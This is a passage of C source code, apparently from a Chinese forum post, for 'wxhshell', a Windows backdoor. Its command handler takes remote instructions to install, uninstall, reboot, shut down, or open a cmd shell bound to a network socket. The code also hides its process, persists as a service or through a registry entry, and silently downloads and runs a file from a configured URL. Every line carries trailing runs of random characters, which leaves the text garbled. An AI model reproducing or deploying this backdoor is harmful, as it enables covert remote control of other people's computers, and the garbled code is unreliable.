  else { A Ntp7ad  
X<@ytHBv  
    switch(cmd[0]) { 6 GX'&z  
  Ag}V>i'  
  // 帮助 hh}%Z=  
  case '?': { @+~=h{jv<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u^a\02aV[  
    break; ya5a7  
  } #3u3WTk+  
  // 安装 & tQHxiDX  
  case 'i': { y?O{J!U  
    if(Install()) 2+" =i/8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .O @bX)  
    else G}ElQD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W=M&U  
    break; ^(m`5]qr7J  
    } L(TO5Y]  
  // 卸载 :|`' \%zW-  
  case 'r': { @z"Zj 3ti  
    if(Uninstall()) ^ L'8:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K+2bN KZ0  
    else Pc{D,/EpR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lMAmico  
    break; !jY/}M~F1  
    } +4\JY"oi  
  // 显示 wxhshell 所在路径 *LcLYxWo  
  case 'p': { zr@Bf!VG:  
    char svExeFile[MAX_PATH]; N%;Q[*d@/  
    strcpy(svExeFile,"\n\r"); "BjQs<]%sF  
      strcat(svExeFile,ExeFile); r4t|T^{sl  
        send(wsh,svExeFile,strlen(svExeFile),0); Z)'jn8?P  
    break; +A8S 6bA[=  
    } Le9r7O:  
  // 重启 1~8F&  
  case 'b': { 6yk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L`FsK64@  
    if(Boot(REBOOT)) ^!k^=ST1J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -aG( Yx  
    else { /:"%m:-P  
    closesocket(wsh); Ek _k_!  
    ExitThread(0); X +;Q=  
    } Noz+\O\  
    break; PN/2EmwtC  
    } qTC`[l  
  // 关机 G+4a%?JH  
  case 'd': { 0K>rc1dy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9F0B-aZ  
    if(Boot(SHUTDOWN)) n4YEu\*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^T'+dGU`  
    else { M_MiY|%V/K  
    closesocket(wsh); oV ?tp4&  
    ExitThread(0); ({D.oS  
    } .6!]RA5!=  
    break; J&^r}6D  
    } 1w+On JI?  
  // 获取shell JeMhiY}  
  case 's': { ,iCd6M{  
    CmdShell(wsh); o"[P++qd  
    closesocket(wsh); nhk +9  
    ExitThread(0); N rVQK}%K  
    break; dDW],d}B;  
  } RUf,)]Vvk  
  // 退出 /7@@CG6b  
  case 'x': { }^G'oR1LF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C JiMg'K  
    CloseIt(wsh); @SPmb o  
    break; <<(~'$~,L  
    } }llzO  
  // 离开 [=e61Z  
  case 'q': { d(, -13  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ig; ~ T  
    closesocket(wsh); IK{0Y#c  
    WSACleanup(); /.'1i4Xa1P  
    exit(1); R-`{W:S  
    break; ( NjX?^  
        } kSU*d/}*u  
  } St|sUtj<r  
  } pSQ3 SM  
wX#\\Jgi  
  // 提示信息 'BAe>r_Pn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;}f%bE  
} ?jw)%{iKYV  
  } b_V)]>v+  
QI=SR  
  return; rC_K L  
} =eac,]31  
Uw61X>y=  
// shell模块句柄 dq:M!F  
int CmdShell(SOCKET sock) Btpx[T  
{ q,u >`]}  
STARTUPINFO si; Uj k``;  
ZeroMemory(&si,sizeof(si)); 5 F^,7A4I0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NWCnt,FlY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l[ @\!;|  
PROCESS_INFORMATION ProcessInfo; iCAd7=o  
char cmdline[]="cmd"; ih+kh7J-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H _3gVrP_  
  return 0; !}1n?~]`  
} 2"<}9A<Xs  
]-x#zp;=  
// 自身启动模式 BD4.sd+H,  
int StartFromService(void) xR#hU;E}  
{ 7{<F6F^P  
typedef struct mqsf#'ri  
{ Om}&`AP};  
  DWORD ExitStatus; 7Fy^K;V"  
  DWORD PebBaseAddress; D>G&aQ  
  DWORD AffinityMask; _rs#h)  
  DWORD BasePriority; TlBLG.-^  
  ULONG UniqueProcessId; /cI]Z^&  
  ULONG InheritedFromUniqueProcessId;  k[vn:  
}   PROCESS_BASIC_INFORMATION; v Z]gb$  
{B\.8)&8  
PROCNTQSIP NtQueryInformationProcess; &-cI|  
+bRL.xY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =PZs'K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gLpWfT29V  
w_U5w  
  HANDLE             hProcess; tD4IwX  
  PROCESS_BASIC_INFORMATION pbi; @~63%6r#4M  
zZiB`%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U4N S.`V  
  if(NULL == hInst ) return 0; `M7){  
e6F:['j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FswFY7 8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cz T@txF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dk(-yv'  
}U^9(  
  if (!NtQueryInformationProcess) return 0; [MiD%FfcNH  
ZgXh[UHQy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H}U&=w'  
  if(!hProcess) return 0; |LNXu  
l^Lg"m2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]iz5VI@  
AOWI`  
  CloseHandle(hProcess); t?0=;.D  
Nc"h8p?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uO^{+=;A =  
if(hProcess==NULL) return 0; Tu6he8Q-  
p!Gf ^  
HMODULE hMod; ?` `+OH  
char procName[255]; OOk53~2id  
unsigned long cbNeeded; 1:>RQPXcWv  
U| N`X54  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "(C }Dn#  
e<C5}#wt  
  CloseHandle(hProcess); /FYa{.Vlr  
qp{NRNkQ  
if(strstr(procName,"services")) return 1; // 以服务启动 ;3?M?E/$s  
R K'( {1  
  return 0; // 注册表启动 6&u,.  
} 9CN / v  
9J|YP}%  
// 主模块 G2jEwi  
int StartWxhshell(LPSTR lpCmdLine) 7 1)#'ey  
{ t]@ Zd*  
  SOCKET wsl; yNDyh  
BOOL val=TRUE; lN1zfM  
  int port=0; A?7%q^;E  
  struct sockaddr_in door; /kJ*WA?J  
a)TNVm^  
  if(wscfg.ws_autoins) Install(); VJ$C)0xQA  
T\WNT#My  
port=atoi(lpCmdLine); [p7le8=  
!t_,x=  
if(port<=0) port=wscfg.ws_port; u>(Q& 25  
,\qo   
  WSADATA data; S"eKiS,z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *U8#'Uan  
.K7A!;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h:GOcLYM@X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3] @<.  
  door.sin_family = AF_INET; RB\WttI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W4#:_R,&,  
  door.sin_port = htons(port); 1mjv~W  
9|e"n|[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _*;cwMne-  
closesocket(wsl); Zq`bd55~  
return 1; ,v6Jr3  
} nQP0<_S  
ag+ML1#)  
  if(listen(wsl,2) == INVALID_SOCKET) { -e)bq: T  
closesocket(wsl); nRo`O  
return 1; e;pNB  
} , m\0IgZdz  
  Wxhshell(wsl); C )I"yeS.  
  WSACleanup(); DQ9s57VxC!  
7<tqT @c  
return 0; b\+|g9Tm  
cj8r-Vu/N  
} lLJb3[ e.  
XWvs~Xw@  
// 以NT服务方式启动 8bysg9H0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,AD| u_pP  
{ M\<!m^~  
DWORD   status = 0; u+R?N% EKP  
  DWORD   specificError = 0xfffffff; 2+P3Sii  
Mb9q<4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tFSdi. |G=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d,[KcX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wYxizNv,  
  serviceStatus.dwWin32ExitCode     = 0; ef. lM]cO  
  serviceStatus.dwServiceSpecificExitCode = 0; )N6R#   
  serviceStatus.dwCheckPoint       = 0; p/5!a~1'xN  
  serviceStatus.dwWaitHint       = 0; q-o>yjT~  
lt$7 97  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c,-x}i0c  
  if (hServiceStatusHandle==0) return; 'LOqGpmVc  
^GAdl}  
status = GetLastError(); oy`m:Xp  
  if (status!=NO_ERROR) g:6yvEu$ -  
{ ^&<*$Ai~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s7 KKH w  
    serviceStatus.dwCheckPoint       = 0; c%U$qao=c+  
    serviceStatus.dwWaitHint       = 0; KGWENX_U  
    serviceStatus.dwWin32ExitCode     = status; q%'ovX(dm  
    serviceStatus.dwServiceSpecificExitCode = specificError; 395o[YZx*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ i&$ZdX  
    return; 5]Ra?rF  
  } `MwQ6%lf  
$oQsh|sTI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6P~"7k  
  serviceStatus.dwCheckPoint       = 0; (g)@wNBW  
  serviceStatus.dwWaitHint       = 0; e-')SB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'H'+6   
} h@~X*yLKh  
iR_Syk`G*A  
// 处理NT服务事件,比如:启动、停止 Y-Ku2m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _l,Z38  
{ P3yiJ|vP  
switch(fdwControl) StDmJ]  
{ dbuOiZ  
case SERVICE_CONTROL_STOP: &`Di cfD  
  serviceStatus.dwWin32ExitCode = 0; ~76.S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .apX72's,  
  serviceStatus.dwCheckPoint   = 0; i]-gO  
  serviceStatus.dwWaitHint     = 0; F^NR qE  
  { ZYt __N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <D dHP  
  } 0V#t ;`Q3  
  return; )[)]@e  
case SERVICE_CONTROL_PAUSE: Yz,!#ob$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /2cI{]B  
  break; .fsk DW  
case SERVICE_CONTROL_CONTINUE: +7Lco"\w<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /C:'qhY,  
  break; xI4I1"/  
case SERVICE_CONTROL_INTERROGATE: u/[]g+  
  break; *D{/p/|[  
}; 0xxzhlKNL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A]+h<Y~}  
} ],YYFU}  
u#M)i30j  
// 标准应用程序主函数 $.N~AA~0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H|)1T-%  
{ :ky<`Jfr`  
9$,gTU_a  
// 获取操作系统版本 P\mm8s`f  
OsIsNt=GetOsVer(); V0 F30rK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zn ?;>Bl  
^!<7#kX  
  // 从命令行安装 3N"&P@/0x  
  if(strpbrk(lpCmdLine,"iI")) Install(); jDX<iX%e  
]`sIs= _[  
  // 下载执行文件 M',D  
if(wscfg.ws_downexe) { 6XAr8mw9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3NN'E$"3  
  WinExec(wscfg.ws_filenam,SW_HIDE); J4}\V$ysN  
} ij i.3-  
&&}5>kg>d  
if(!OsIsNt) { YU=ZZEVi  
// 如果时win9x,隐藏进程并且设置为注册表启动 $uw+^(ut  
HideProc(); Kyp0SZp[  
StartWxhshell(lpCmdLine); i+[3o@  
} p}A4K#G  
else dT)KvqX  
  if(StartFromService()) eM+;x\jo?  
  // 以服务方式启动 -z0{\=@#m  
  StartServiceCtrlDispatcher(DispatchTable); ?a>7=)%AH  
else @5jG  
  // 普通方式启动 B#6pQp$  
  StartWxhshell(lpCmdLine); G\+nWvV7  
HD)HCDTX  
return 0; ~J-|,ZMd  
}
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只看该作者 1 发表于: 2006-10-10
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